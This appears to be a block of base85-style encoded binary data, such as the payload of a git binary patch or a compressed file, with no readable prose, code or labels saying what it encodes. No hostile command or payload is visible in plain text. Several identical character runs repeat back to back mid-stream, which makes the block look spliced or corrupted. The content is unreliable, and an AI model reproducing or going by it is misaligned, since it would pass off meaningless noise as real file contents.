z!~0;KO##8{yJC~2p9+fp(V+BGEzmy&bZ5|7(A`1#Fe^c6Vdeauf>aNBJ}7p5XDB|!#FO~xZgGGLBk#~>^Z}JZ5T%^8uwkpdZJ8o@y9R%2aHVVVe!R)v!Aa`=wzo81}khe=w{+Mh;hixr&3`ohu9~;QE$e zmCh9gJcCf{{W!TwWu_IpMa@0W=X4`OS-0wJ-o=d10&n47n)tn1Lg*m!`!+*z@H-aj*kX@{XcT|b|!Zr{yMk))1*y6ytA)xJ^)cJs#w zzRhm_WeE~>^Y4j&d)+*zRZyrMDmHI7f00DcaRI;Lr6t<~d=*(ZMuWGwTsffQMxjJE zZ{2sYLWXsGBaQr*47ROK{s>g}wmNzC06h4Lojk`$=z^Wmiig-M#$M`i{Aj8EKkU5; zoE63OFWz@Hp=VeI6c7~#P=Xt>Zz|5P2_g&vvMDmdFfgOT%s2~(8<*g2+?Tk;J!*^^ zjfq<{?$M|*?prj`s8N5$Xw~4ax%3PoY5nIOiwt z(LV$9SkOhF$Ahx(JOK*f82k>D%z`hRq>l$Z6_kDLG|=-ve-6sddMoIap!hn9oF{!7 z=(X_Q3Cb3|2b8Sv04Q1DLC{Y?e*^k2&__WzmOqVp)Uli{9m^GKb$4|vSBzu1hP&9} zax7Qu0mC?!E5@;0<8mxljAOZC9Lp8!f;v^K#JR$tpJCe@wzpvwhEY6e+yf13HEg|M zXBc*lVO-JV9x@hD-8HuE6sPfbKw+z!=@NE-!PswtmXR*u3IF%e>ztf zgcvt9z3$Ex2K@~iVAw8(4L59(VH|xmkA;RUF$@kFqp!hJBvfuv#EAypGVybQT_%al zM-%v$dTLh6&3?E+{X7WD#UG8gZi{M>W>6z%7uK$lK(s=Pkw`i{kH*$9vDbz$jMq27 z=1nUx3Y&Y5P6g$C8PsLs+@Wr0?4OA&b=?0R>?E1H;r2n@x`UFEn^|*BF+1du7|hfH zuSyb*m5kbnqms{_5f#Fz-fFNS2V3z;fK>3Js2}^{q@>`%J)WNe(c+ zC3^s$2YfJol_|8ApDki$Bmu2OIQ&#u$c$R&Sg{zlc(I1FufMXNel#j`{dEw`zwEon zUgmZ54{`pHp!Bof@cw?FJA!fyfc;(Ocf&v_n}=gKR@qFK?iEmMjk~LR1r*~9P{aMu z;!;X0#<4-e{nW6B413hD=L~zvurCe!$}rBoG(FC}G!MMj;jjsYH5k@x*tKviJ6vR% zbLkl|%LRK57+qm-Wu8xu5<>I1+pzl#^KxW5q}SwxuFtWOZE+HQPqDAaC2|BN13B?^ z|LVpy?bT~2N-9K_tnE*}UEzBZ74qD&q)9a5Lq(RXXlNE|L#7I!lqBmjW0*0K<|cLv zeq4en#CN=NeeO@ViDESfql3wGJvovmOC?rZo^(92Ete>1My`=@a)qBo_}~$js=<%F zo{0|vMUhy8vuKf2IW+;OUK%4#^^M2CX+UfwB;y*1VyzJfFE$AM-&b$& z7W}b2g)D==$VXku$d%DI+13@PoLdiy#|r4DoTGoF^Rvn6=lHV$bYIY;KwCgJf}RAL z2Bo|^509ntjxK%QS+T?1U47qKv7-#T(BiU`8uurLadk|w#|`_vVSg~}PljQl>B>^* zTwzdZ7~d+>^u`;ur(v`qY58bF(s0~cs2Epe6?@jO7Y*wUiFP&=p5maFb73kC*Li|b zi=- ze)oU1tbB!xqIm6eMjZsV$5M_KtOnlOi~+;Z`^7)PCVJTZp?DT}OJ4C$epD9W|( z$p0>pJ0>exx^Iz{Y7_7s#mh=VGh`(j{J&LJvO(gq@>Tf1gREQ(8Am+?vmcR_^bc`< z%1Zj##V9KkTW{egD;1-x)NquQicwZ7 zMp>yCWu;=2m5NbTDn?nU7-gkml$DB6Rw_nWsTgIYVw9DNQC2EOS*aLhrDBwoicwZ7 zMp>yCW#!2=URKf-29toDAlPK*Qdy~SDJwNDWu;=2m5NbTDn?nUn3t7*0FtyJe~ubp zdy?)0TbEuUD;I2N#V6C%kj3dKzv+4qbfReeI5HuN$`&b?`cXMfItNRF&j)j{z)DSv z{#+Xk2V!Mems$r(tovYw9*9%<@`B^=yA3}ISuVF$%l*RKmS38x@SSn2)aoj9q=Sxw z(&4|A&=7sXn?i_+>u8Bshq;WddPi!gzP?Fo^@}82(a!ATNm@TznG$U&^U2v|G{}#Z?`EK`GDWb5) zli68o-0sHS&IL{?;kj3eFP2aTORV_Q#x25oqo?F}fh94CHuW|6Y&k5#$zT-3{&V;D zmPbpzt59p5S%Ytor|7wbR$e~OK&Y9VAFzu@Yqzm3PQlH#Vi(S|)AH%HCWHx(>8I=&_*N zgKh@Jx2(keI~eq2_;&<79dswqGeL)eo&!1yls#`h(91#h2fYe(4(N|T=Yg_K7lN{1 zF9KzM#`mt$?||ZKSLqKy4*})4@(S8Rb#S`$tY*bH?@;V$3zs(RO2e)(?B|BvX4o@^ zyLze7hC&i^-Tlwlm5G~5)!_-&l~>R9)DuZS+JvBLGBU{^R-7<>ws z#{I&%!r&Z?PftiVemRG(Ft`>j4fj*$3WM7X`;}pj81}efFB-;?PoLu>!#*|4kB_wS zj!)QKxJI%qT9fo3NC~}Ue8h=b(Hbj+{N&OWa3-{Mys0Gj;%lr}{?naX!z6|8w!+E{ zeeGQltM%7g@cg zf|-j}w~U5;k?a2U#aCEYWH17U=5o~VVEho@b!?(Dfk1!}jqR5Dwl!9EI}X7s z5tEl6g8drn5$^t*dRx9z6WP_DawrMqMskfc)m7J6^FUc*`Y9IZ=h#a>=T7v`04)Gr z1R8=K1X>9S;TX&VuV?nP39S_Q}bOI>t=zD?Q1X>RI z2hi!D?}N?&FxPm99`WL@IW;yBlItqz`wRVVtXJIF?4^-f!5$ zhCOW<>siCSZP9SOjxFxT_5)XMg@SXNvo z87*-pNSyctm3qQp+)D)(NAmIu8Wb{mMIWn?BObAwm z5{Jo2eWQ6QQyI;}!D%^?rQ`6g==+n336{;rZpZ@dwkc^*R^p30r5obkS7;%q)O9A(cU z!T2H}vWN7HUnYgoe_bMX%#P1ukr~MZgYkpHm{FyEgCDDnDr)rLsHTafV_l-G9x@|& zah}6S*skQotw5&{z%?Gc#I~LQ3WZAiY$5ttj7gvqLH7n_f51<8Zyempdvt}e5mzxT zh$?oZa~0zi4v$@77_~qRcZ*@aH0&>i{g+__&@B#M#C!)kmwqFsO)&BlU17jo4@|jO zPFAKX4E}1^N6r|TH7)hcZB06cM;*W8her5LbFXN`V_)+HA&+ol5``jOI~AUxZI*>+ zHN;;PE{nQ8-b-CZi4`m>=L=OCOHR3n7so|`PXuiXd&|hpj_VXf8&S7}nhJMTTyd9MNoc?W{eq(aVhzsazD*5Z7@Tj|MHcQF!>%{%X~Q_r(DdFgj57|!xaxEBB9>)a z=fbOBaNQ`_MCS^F+u&l1;()zb<342=IYKcn_xTp*=tQ4C4DmTGBk3Sa^m(*UJ(glx zL~MT!0YkBky<_X@ae@N&tFQ}3{XV%#aBo?-`Nl=_hv?u1q=uE%HTo6e-0JIe$V9J) z;xt7UiJ~4KxtEN|`VeHeI-YOIVP*(=0?S($^)r^2+=gy~OHa6r)YvhSWnLz?Srz!v zMf+CALoK_I#q?;cmTn z-mw%NR5i?wRnN4^cdT9}kWszSah9ycthyolTT(ZKo+7&8e9#?mpMJ^+`pKvCv#IH? z09^nyhW*IGU11nkay8s7hP`aqYlcxb z)Ns@dHQ%1-V~TC8 ziJz6I*ElRanSxq_?@L?OZk9<&z$YIq;fG4}dW$|fC`0s*QSg|;nWzvi4|JZ{@udQj6kmt8BqpG89_hup`Xt~KRW~c<)FAH>xVmmvVS8l zkr8Zhl@WC5nM{f?SH;?$3u{S+U1``ghW*^I+YI}YVQ(77^+C!!8*YnaW1TD<@r3w{hG%OhTUwKml51gGB%+fl%vE& z_+d^E^qhi!a;c0su(8E!2-)QWnS=xGwi0P5Xuhyoq%>?RcCo_DK{uAJ*K*N}xH7*R z&>h9eb}Cuo1I3Zn8cTOj=9p|FZY;=_^A!t{o3A)a8zsfZVF-R$?C?E}a)e0s`8xDj z);)S=x(_J*tV;TK0mWFV=a7Li2l_c5Tnozf!mLdCJey7XJY9O`q++%3E5<&r82h|p zR~dG#VK2gUvh=e*I9C|_3$7ms_KkCe!Adl{rpI2T>Cx_?SlTe(_xKL)h(zCu>!!mP zQ7-L!i(Bg3c>01LmY^zSosD(WN;{v8b*7R=R*wU5h6LWmtB#JB>W8vXM}gHel>DPLDw$KLYEdW`O&9wVKT^_6uz$)T?r@H8mL6Z$zO(m&Gq z*`D-QfIbU)0O$*#=;{IZKzOSPZsjeyFuBHmx{BqiOmwN8L^0Y)6g$_sisiry#jZB& zI_C<5Ck#UgUEEgNX<>rixs0rz&? zEg1K9&=m%J`%cp%w`v{-8&+kQ=jqM)9c?W4pk%CfKH=~w_$OD4r?FJBrCiM^;1G#_ z;TG6f$|U4z!g_Ho=PSxgB^Br^V-kQ`tg`b_;*WGoJ*j=LM!?%;x^~kS{xOolW(glD zlVh+9Jh@b7&oSFwuBDM?B*Lk$MwnmQfOVu*S>lb5%=j;Qqa>Gn@_BLMr&sh|313=C z$R;1W+=q5qoCH4&QvI^XC26&|WSWIJN#@GSZfNbI9kRZ9l9>M{BoorkWvCL_g!^7P zMMciF&caeqI?cnwu+@`xD9j~u*rE91bd|+&eT4^)Vpw)6ukLH%COkHyPQPPq$GP

CZ{Dt?@8&CC=b;sp`Zb~RGd}l*f;wVl%s3hE5Y{+84Km$cQu4yDf!sJm?nlcTrJ#;c! zEnHzG~zc`EhygFeNMY7 z>nmzF`f?Pv7jGDJV~Rc~bn8Uj6wn2^d?4PBng{eiy%kj-$@N?2O@|Hs*hIneB5(uv ztp~TSKtVGjvv=2%SyQ4AG|fxkAeO!09cNoxOk(!H=NCxJ->(RnO#J2L#_6lB$pN`> zpMjc=uWPXxSnGXI5^#t#g92%1kM&q(&7-sB;zgO5NZL;mEV{TT)#u&L{JNlAQb#GI zY5iM_c+OH|6;mf7@!Rl5O`Vg$0stuKwgCxJwy3RM={P3Xd^>nHz9?u(;chw2U&*2Z zMf+nHvIBOM(u+q`B+I`^1u$`iHtt>P3{;YR)drreek!=#v*Ow``axr04^55~?PAo0 z2!Z@1-i5K{I(&h#lI!PIza#Uofxsi)uX;c&`WBDndEo{CV*7nofJF`42UjqfsEG7m z1V1y~r*qT5jI1Eg(S*yoUWok4+Ti$i00XqEL6z^(eaE__scEQBm z;k~t{(a$ANxVastaW5=0rx#7s$eY%TZ49JoHccyEhp3_uyMx@p4@(MbEvYTD8dV&)fqWUz4vLg;nJ&jpkp4gksAR8 zww6;J-D3VZ5Sox_Cn1MV*2F@QVOL=vTcwlA#c%<8@U{!2aP}%c?P@i zbkVa#y*Wr+yDnJsrqx^!jGo>Ko!$@Y2d7bcw*xR6HIy2J>IPCsr92Joa|*gd}0l9 zBs=waqE(11@>0=p?{um@z(&fnaI<|SLmn7#uId91Boigd-jM5A4D=;M7y^LZeb;?G zLpfCKg)!MDT(P%lhR&@VlbHa?m6EW0GXbH`tIehb->yX%&$~CKt~x=bR(PwpUv;Ii zyVN?z)!i^t0J<aQnNoWFRMvpd8r(RBC2*bVUxz{tQFg`Isl1xE))iu&wW+wJPl!u2j=Kq(V z96DWsES&bsfl8vpP<}o|*Y#SRQ3kty}NBX~gC6EBD4hC`% z4NEY-7ENTh3~~)+!4erZ9v4j7Y2a>%dVm&_hb1MR|AS=JKx3a~tc;f2&z|8>buVgJ zeav`aE3%Da++L^OdG+#4o z+pD2e2cOd99|ImNKLj0g)K0~P%GqR03BasKIxJ07p;_Kp9$FYlK2#hg{I$sq*)r2~ zUM3z~zjq0Sw;szO;<|Y`hHDZkEgAaJ3TKFwpd7-g5(Xd=(%HuN6g_Y1=OQ%kdCW;QNhKgQ7djQP_y@E})8B?c=*K`5t!(?ULHC75l znCg!MTOE6;JnXsUw*j0&qvn+%3rmRwqoQ3+&Puz5CzY))vMo!62XY}~+q^oY8|vF4 zE(i3%yT<+=mgzBH!;}|(O-6wzzuT+&lPIjp`V{M;XQc>XUCS!j+|!=Q~q=j@JD=<*&-c(Gk*@bII%Nu!6QWvikic71MLK6| z^a*<@iodjT=ypaEz}shc(RB`=o2k`^-FC?7Ro1UENZ<@1ju5vVP~c)0=+=R~jWoAq zgW(G>Z|!$8KBE>*aQohi8t8R=v<48==;jt}l7c0kar#j++YpmRr}ximh;_20bFa*_ z0Ht`Hwbt`k;5l)sMuGrzteE@-ei4u$pS50FFqoze5vn$PaS2$6I49{R$s)OQGa67*0W;L zaEj5^3hD}e0lm39I=ICOG|5~_CU5)4?2jA#K*2wv9&z(=gWZByfe60nB`XD?x7?0I zTV;fd1hIKrwu#jqvZQ_A&Ch)-a_aPp`B5|f=uV@3l8;!MW=oDEf<2+&16I{J^TE2n zzFF>-)SB_FNy%wNy&Mcg;(1vaGvwp`KdhEyI~arqV2a4Y(5vteFDj%6qKR0;WjwQl z%yN68(|P^?CKRhwMmZxWzR{7=z#~AWcqEyN#Q-rx?mdA49%nnh2sMazMvw$L7l{)Z zQc-EZcuA5+Dp$1ax%4KrD-3qiW<_1!SG%lu>hch$jg^gQ-s2d=oI&wKNv_OzN(JuP zBeMy;(CsQEtCjJPP3hW_@Wff}X>7Xtg-1KO5S3=Hc{Q*4WWnI1SWNhphf=$E&rTiZ8NXAgl% z?VXpiAP)o_546)ThkNDiO<$7Qr~&nJam*A-X9h2r=>WY4Jfu7z%xx&C0Io6vOCc$b zaY5s@T*s}9V>HPVP<1Toi#VCzx9}yYjk4E_-HEdew(hA`K_#Qh4;xlmcnL_uDG+(G zS+3e=l&0yYId+2fN zU)6u2HrG^J=K8#*H|q zNbsc&hRK|VG%zOG2vT!VCy52fghHC?l>(OaWzO9Dr6J*`>G-+&Cocu}Y!q40KD z-${(^+=ur9Fspac1P+mIL%kBa9z3kK$X-j4_Eck3$#KSiCR?$%F=t2qJ~Uuie|9=E zx&8-KEvL)Y6LIM|y>O#;dUOV~iRck=z*)G}MF^+{ySO5all)M~7{kWyTKKO@_1r5< z)-w&~g@oeIc6Bb5X_mYd+<8Qwu$yd5Vc6fCSZysWqgADxgi6kao_hoYWbxKS5y&|Kz`m`kx;vf9sw^Q7`kF@aD0x-SsqD5PmB_Ev1yHxnDj4u zEJBOdnEfX&F74=YI5D5C`1!R4tYOc$KOXJ%OP9^%WHf5}F_!5-E!wFMs&!n0brqbm zV?R&WR3zv#!(+nRc;t3aA|tVTr@cmRq$dQ>Uf@BR^3u|X|F1T?$L%G|m>2i3 zm<^+ZjR-gYjl>1Zsmy-xxXdbl#6(~nT_DDftoX@qx(4y4!Nj&Z1s~k z@n++a&ZkhCzUWNo%Bny}To%x|HP`x8Wf9MX!k=qgun^Jqs&UAr9DKl(-o7TC3Ch#Y zpuUCJCW^bEE{_Oz+jlVUA<4qu$dCi>T?3Cz7xZBmDoGYw?zo%ilS#u+F z>lZcq-=j)xg@%9~T8yF@X0PC{7pJaAIJH-v``^1i_Gw9=2ESG#$`Bk$QWF+2exe1p zab~lVxt4ouNEH+2ZtoT-11sE2*U%n)A!R;&;1o27Ax)WQ7|ab-@=(t=2VLBLS2{zd zd0|8Q$VqGPEk4B;Ep{nIXOOvN>RR%zQ&Ql@wdGZdqHJky^!69s0=f^lvN*5#>+6(~ z%7y`JT$vuV0MKFY&?HDC>kc-CTF}nLPEd71pVojPH)~i>atWGcC3jaYDcvA0leR5? zmngmcJIA^C&)RO z6(}8)y!XIxp4@>;E4Xx0x}83?xxu}v-sv&jd2819&P_UCuD#dy1{@&`*Atu>W-$Qw zGl)ayjj}lx2svv2s$z=>Wq{xCmnJ8Dk1r0Tt2UE~+-%q%P^9ZtA?EVG#T?$WDAepe z+O?Gqy!#!m;yUg8g!#P17j!P_Xsnv{rsBy_GHfq``b0`xge=^*lV0pGvKI~uzfFI+ zu#jH>`R{PC4WtX04a(=%E0<3=-ePA-ov)O!)vQKC_44uf!JNwoA})n+>%)p@ksKiU z`xQxfH_mYpVQSs4L)vs!SJ1=xU`=n}o7Jd8)5B4;Ish)|P7=r?v*0x1cz7(Vr|snglf|?a@yzn+`2G87w53D|~p7 z+z!o0t&G-uYdvZ)Md8uM&)fa0_}Ny2YTp#FiaVg1P;mwq5CR%1L$$0)-8iGtWyVA!XSicru}8GU!`}s{3wbnvS20fBhzOX1 z?kutD(@?hs0@A!d{&1b=Xik`2LJTbxi#91r(z7H-Z3Rs_PAK|P*K`8s79>;)1`H`E zjI_dGH1wkVuu^8Os;Y-Tn)&9co%@BZdI+>rJo3vE06iq!2u~wFxkb$P!N|9Tg5vhw zZH5=CbZRcwPiR=XMA;%6!=T%d8UiAW@LM`L)dZ%H0yR2)WUm<}9O}V|^VuETad*JE zSM!WUc=!F*uDf#gj-QuUMYILt&fQ`Vf&I4=oxXV_{!QJs#0WWk`Ab&ApnXu@(*A%$ zWC8?ul-*)KC(-%t48G6p0WyapRS7$_Gz4F&D6ns3ws21J%b^{1XL9w|VI(AP^rzbS zCrjMXPVk?i805gz5%VrSSr^|Hfjpn=yk2WWMcCqQN%mBR-$Ec1g0Z8KCP2gkoWImd z*D+D!Hb?*6?qtT!92{Ft=2+@N`q)@${HJ7TZN2POJ58ppxjHBfGv4@pz0;VQ2_f>% zd<3YW7iHHlS-~m1l{I6Ee21b~&uB#`hO<|?(fS_=rat&gqN{WMdbO9Hx?O^D4EBkL z17%E)K12C?mJs*-2itoZK!tq=!CMC|ST;7c1@mf?<4U8u=>C4_*9-ebs3b5^lheNJ~n?x$=$3f9Wz=_HZ%%w~bl%4j;bA$?QR#rDcd>SJZ;zqOJGeUi^s zl*XW*jbvJ?{-7yGYvKB|H}ht7Wk@p7=mt0bj~g@5j-ODs|HB68`K|hOlW>4L`^rHd z-tc_oie~wnDZSW`kaan=lszzZII$5If`cxV)Z|$vY_o%)uQt+)^?R;4Yh9vNl<(CB z-u1|kraWs4{6M_P7+Ej6Tk1ywobxD)klSWo6P60JQ!2{tpgO=^?KE5e|HR9Q zX3;28idM6bH}qtwZ-bmd=^H(wXzQbhf8!auTs>Om*T3-EP6ZR{yaPy~w|gZMr?XQ6 zU?j$5^Z0$q@I4Fr-P#bB7s_uJRvvxH5NK)@dD2Zoip%IV#UFU^QRaO}=Ie@VE{CI@ zogPxWn*t859EvtSwZtaEew*=3&;YMl4Is1k=m_`CC_(Op* zptj7FIWPX>$KCz>AF`}7`ApAT#(I*ue*Q6!ZEwA2ym+}%=y%x6WHf((@%D=EhE?g5 z1JY{0QGKjbFvBtaiv-DbKp1wOAqc_NrUvAf_iM(Aes_NmTlOaI1pV)WqcMZd3 zO}(z1q;f*(dFnP;AJjyvt!A`E!@73j!e8ELRm0w+|qh zeDfGs(xWR)V%Gvgv7S~`O1`+B6D5V$Py+or1TMqxv-h5la}y%xX70zbmK@B<8ozWiG%NyMX!5Ig*8K?C4$(lm@v<8 zl1KfE{yv)mIiwCeOuAcDV1E2amv@&f+l;$*=y4W`t`pYCt(Wh?0r_WBihTuwl^+*^ z7OMlo)f=*@HWNp$Fh2~_;Wbn3INbqUb< z4ChXW9dks*GGf%$Mk9qAdoGJkXO-pF&|lh!m6H3m6jN?q_}HS zaJJ#3g!Rsq^65|G&z$&rd^pTz+!I<<J=V0DBx9;D_kNOtY-I=7#6wP^ zx+6Uo6&{A`aGv-UFjDW57M+6?%oA10@~4_@}2W@QkPKtYSatz_lzw4)3Q=VFKCImVh(PT zkBlqma-ODAldHB>C7$30;5Mum)wjWb_QOJHmSQwv8{TV{gw)gQ8i)zQ9=q6G`Vm>9 zONi@ZVAOO_L;b>qQd^mnD6^iTg=EIe^(~|s_D0{Dw?HSvb_bN6YPsVx*Nc$Tnf`;C z*n!Ac@VTl@V$K|^NRJ(&m^U+Sdd{B;5~I;!;+f?7tnQOM6&V(QlP?Z49=Vn`MdPH0kjIV?YSeNr=SHP2IK2(FzN# zCI+W|Ps;89)W7Z;4ySm zr5z(=Ac0bRp>}?9;8t`Hab(7J>yO*xvdfGX7=3e<7W`epFi}fi?e=WDgv6g52G&6{ zt^q&&`QJW$6J5hkT%4^wta!Q}AET5}RisP1QX0sli*`&Al%Zl55S83A00y@iCA<6; zgdoE5VpUqp&EH8mY^P*!1rR+P{r(=efv@cN5eG#gD7Tc_F9lDS>*JkK7`pz3v#T8C zgT$vR#?L3#A4jKH315ekD&y=<&w_-Zpb)7L=dMlv7OWq;r{pZVjc)$0|AQcVY$ofa z01O6ZIEl(17^)RuOrQ~7LTOQ2?-d}_?8SgbfA#v~Z!?|%zRhn`@?&7ehRLhLLp3(< z4tWXSK{TgL{R|4Oem5GIcIgd}LPr_Y30tvfOon`G z7xI&fUNeTZC_cDhbW(HliJXv82efHhupIk38+@n!DA(h@T>hN*yE{gsxbU&~Ma{!o zFwBYNeSq2vbuW)Q+AFj#h0f|z!a~w2P^5NB#?GE)*QnQja(yeXO~2u8bvebcWp2@a zRwr6(0;rYm*qmw^_WVN0&$?Ht28o_MT1x7Qm&2uKF3L(8QZ^R32k62K`9~T6l%KQqzYhe=0P^wt#GM4me>Vq%i1o~-~^~u36 zYAoH}^KC3$ya)THc5lzuz7LTOyC$kq9+2)6Mvv~b20DDilX?Z+muKR8gJ_enRHE8W zce#GQNZZzifq$BPM|ef#1@e`?vZ)xQtYH^}U~Hc8+L*@U`+)OIz^ZqcWuo*o@31*L zEm^_=Sj8-;WV!~dGUHqc5&7ytiPa50cXMSM!7jn5;03CRy(qrqBg&Dmikwn)@xjSS`!1+w!M3tU|^ZQ{#4q3JaAA~%u#MZXKkW4UX1ds%^}ix>)OQi>G!%^r!?w& ze5e3)O3U`4b{3gGXyQSk`n92Lwt{TYPVDro^F73<{=^~RSujZmeDuhpQ~0SG5A#qX zDY_%k3PXB~BhDp@lCu4C9RcGhiqXiok^R{J#Vu+M(U^lO=)2w;(}pNVhGISDW+(oN zcAL|g0G85t#BFPC9@)O63!xj>f!TW6zoQkqYIF)$r)k}UZcP`Y!wZW5$hSc1-VX#l zUpvPRRQ8b`8(&(Rs}u`I)VZ{ODOVoXSa-P@jwmw}q1Sy?&;aI8S$IWvcITR|fcbrg zz(0&b-6C1`DZ7?JNJvpT>d<{9IEmA-%zLRzvp8KbHs*<;0s18Aslqn+m&&UY!jMdU zermk4ud6o7yy7o33pvTYt**III&3l{!A|I93Jx~JI;K;I=JH&ZRh3JvQ`Weo`?hnA z&hJrRP8q8{k)h?S-)oG$ZcGz~ne$CM(|pWI(a1U%;2SKfsL-qxf!!j=89K8qc_`~} zShp7MX?kGL70*HHKXp;>`W1let=>S|cd7b;K#(D{Q^kStbE#Oi_=PCWQB%F#XiD3b zNl#nBcF|gbI}>bvOS9E+Uag-0oTe~TrdI9fFg)K2`j+~iJmkj6T&rxdyQz4l>-Wl= zf2RG|LTa079Pp__mfu-4IBH$!VKBk^U`tnm_7DflQ6tRoutyls7vMccm zc85YBc(Cznz)3DHdT9C@_WitIyd~3EDL^&;c&pgHwRSqcCI9yBY+XK^PY_|Is53jd zx`GsK6HjsCN=N2Nn3y)*!!TGhk+;tgBs*efEBk8LOF7gb-}27VZGXKi|n z>!$sxf~Cqtlcj-S5Rx1uNE)53O17h|lfIX@=g|ROSayFjiRRA!PXd&A8}r8R^3f;r0y?ji6~T@Y4V}K*qm}FFg_>OW(TFX1Bods)Mx?tQ2^}j8{!o>o7uQ6Wf{mY@$dNox8W5H zhgC=3QBEsp@qpd=yxIFgq+hjQ>T3HCfdP*Sa=TIHU@Oi#;9GqiF70)AIs!-4dwHB) zyz$*S*PFW<2lE&i2Sk9AQumLTacLStIJ-^suWJTZzU(%KC~6X~DpMXqo|K(2ZpW%R z+}%6`1ER}R+XnRb+)eR0_)dVQk(kL*t2^?@;f7fb)U5S%>yac+PKiVAxslm>JlD07 zqZ3~N5H)8@uRYAF_#+T1gi;6&XkI&#*@&iv-#a<4MM%yle1^f;bNd|u+gdE;VWaYC zYVm}9iypr;zPg@>Hlm+0>Bh2Gf+V_7-IL- zZ=0wXk4k4OD}26e%$2av1=7l3Bep&&{Dq6ge}>FG3_SYH*#3%*-Q>?ua@0z?GP7Lk zERU&?wj^_TgN$~m*WpFio~6fp#2@CMogH=P^)6{cZE5#6bkTL*w2ueaK3IuGW9s#v zmY*3Wj8?*-P|Ek!1!<`Eq6Q5Un%! zrrM4lk_noc-kXAH@3SRVnP`tv)H(T};8xBU(}ICjEh_#YgDf-A%w4U~johhY1ZM;k z%Xyo58%nI3i5E*MMn=NT%$g65vWzPi)PHD1AM3CSr5LKQ5MCtuZp(2I!-b|rTZhXP z$RAY2o;h3Pkn@BQCh%jdN57wfo>LL$V8&eiQ==t9exq#Y;?MX{(6 z%y;em^>VM_x0eiEKIFaBH5cB#Ro>sJpl-M|5gV|KwGuRtPJT?@Vs3KPRz*T89oZN2 zHfYRD`K6!}B?B9!cc8C?O!ulqv=!XoQPR<;vwO(d(MX*5iBbR%@d-6+$NjUOKDCN^%y zo@ZOT-hr;gb!g{LOOQ{3OT3=7t4wa?4XDafEw&3!2+vb z3swoN`tP#_UfB{{Xa@GpQtO&}%+WBPst#y3cHo_0B$S53Hmwhg%JxrwHT{v3(DL4? z!-Ddv$GHDia`qwez|bZ8yUzu;>{udp*gxrgEFXQO*e5ZyXwoPqNr>P|ugWqQ)<{5h z$z&u+NKC+L#e`=)K0k|eI3u@F4Z}bgbWmtcpb2;QF*-hO#5k#d}F z>;g3c?(#&F^K#Dq>|p{=7GF>+K?f5*Mx^l1mLyPb4WfP$z8sn~wLpD)AHH_MB4GSn zU$a-dJ4S%r_~1NUj}_TUO0j*sCsV<^?gb2UeJq#*jw(Zn1{_5+A**lbYH$mgCc*#&5?x3t@+8Gz4p)J;u7 z(NVMrUYs8nr!m){HTo#dWaOQoZA4~Iki*p%*&UQ}{L19G&Ev)^2tTBCfN9I?7GDU@ zG&gLpQn|A@qQM9HbnBi0obzXdoybDSoq{>(FyR@DJ}II!RcPV$n_VkDpWC(=}LTOk%euK_k;J|?*v2~!lq+6{REAeGXiv-yhvH7oakaVr`C?S zSf{xWYpA=}D6~%N08E{f1^1kqX|NX}p3ARlcW2^p5JyoBS88r-jr-A;;sq1P=qZqI za6>IaazR98tYvY7Bno9~$Fi_`)0^2<>ktd+RhA6Og9tqrjuq+%^tMMW*oTBHN+Relt z3mT1S`YCcFgnCu?5!Fmx7@Vv0)*O|a;7}6#6B+&vT#98UHB}^{gj+LpF=+ESqLGoE z{kIYs3kw~HGKde+_b*{}J;21sdI_xO*P{;{mvs-niJ?Y8B$SM@CjD*eTBC|3^u3T_ zbHS8M**SubxDCV6*ZQ)06Q(YTR;#_!>TrpvdZ;4R+Qiuzzdf6RpSA)>kIZ-a6Xmd< zUdJ&FHPX1eZ~q8J9QStY);qm8RaeDQD}%lm{=bgRo`(%7cd$0Q`GV|h_r#}+UJ$J@ zW$ST~XhOYM%uBnJ6YN(R1EVV1lsz9H<*6n67#Ipbn{ks=LKgfv4Aze=$}+CK^DIxj z3TWNv7uQqBsUQ?U)#^q{7*j#W3T7qNcwr?-*!%PkqV*lrlbavFAN?j3$>puOAJN1j zqu6A^+%jmZl_Jts4DSKAjfN%RON@inUQ#3UASNcBxC0WqX`g@nk1r=NPG09fjjoD= zl#=wWx3-CB3(R+OSa*Q`=6(bl(2@)i2Y0mI?kx52;9^7yezLyKn?_mZ*i*p48M5*a zQ_OI{H(!!#d~JvrNnaeT<(8tIT>Em-k1!ori71RqeXpJ|M8~>z;`!n*y^7XncnJ*g zjk+>qhcNGa1gBJ@V5V^sZcr-Y1}^v-3h`zTu@(j4MJHR;GeXl1wu@1QDq%DFei9!5 zM?F}PbI;_3$X7p}DX4th=BudA zil0J_l-3*1b0mfQlo6s<^<}T|7^w0P-CCY+UZ;jVFG+c%C`=c1^QRwLssaBrCj+>hWexU8kP|5kpa%AgK7R!-g#!TbRiNS&Ne_D+=*IPd}g!+&;dv z&;F-qW0TVTNDsU0nv6*b1s_J-JHjq(QP_xZ_64KyYfL9!?({AAg@{DaYw<_9?m)5* z-YF;;8h%u$H*zm6g&7c}>edL-uJSP}3O3;)fo?Z80e*lsQ(zqZO#?;;CfH>CzM{gU z>FG&`juGq~s*hAiV+fmd9U{3q0UVfuxug3IiV)&OdZ1(AxcI?$dQYJ)Hf%?RtCHPA z2Q_ZNkSWyD4p@40!2dpsvRH5vmKFrf3|(2pL<4=MkSdl_|K{?qHMHJvZowcO)e$PK zX&Ciw-20dcNnN2ES;{Rlr5seBI+4kjwSqNzWzQ`YB@UWqBFJ*wj%UPbZ2px7ua1>* zRN!22kYnowVbP@|^^$+g1)sLxuaqDTwXh88wSXsW*z9)RF9WK$va&#p+Gyh|2 z6-HE}4J~}6KTVJcECz0zNkG*{y+|Oh-Z^)nA}vR1`C{IqScwvoB{R!}%gLt1i$n9{ zh~E;q5TS<_C7GylVrALe{Xo{1K5@BH@oVRZ>;UZlIqAIn(#A;@o!-WN})8bOR#Aj9)lEf*8 zIxg!4DQ(zes16PaAl|)F7!@fF{cD)De>oB!ZUpgM{c43WfMV)-!2T}eN~l95xD|)) zAmqk4eq<^j`RQd>ik;MSQPEWE4Rqn$F0qc1Qc?UbLsCmgxXJ4t^JA~jt!T_J@)xf(| zeEe8WTGk4mEN7Z9=ZE!6BXOR&fAGFDXyQGZGNuotM)m4C$2WK90)PimC|(H>i39jM zs($6f<&0{D&NrGM&c3j@{j>tXmrlTNJA{5a>47nl0aBbJGHc&L_Hz4uo=Ah<(PBa8 zuVTi;Zq6OiYet|yjYYF)>6jkqGwYiX(6Q{A1Q>IVtl%DNnT?E$7SknFtuJ!934rM2 ze016_H}qbA^VR4XzY zJs`VgDB9g{6+xE~0uzOyP?Z3%UPVP%zA6PA&g*+-<9}xpn=d(3_2|9hsL} zLXghcn{`f`tw>gf#=)^vm!ph#9S8hYaE`Eft0K+XUTb?=rxWSHTZ7XdAVnp$%V@oi 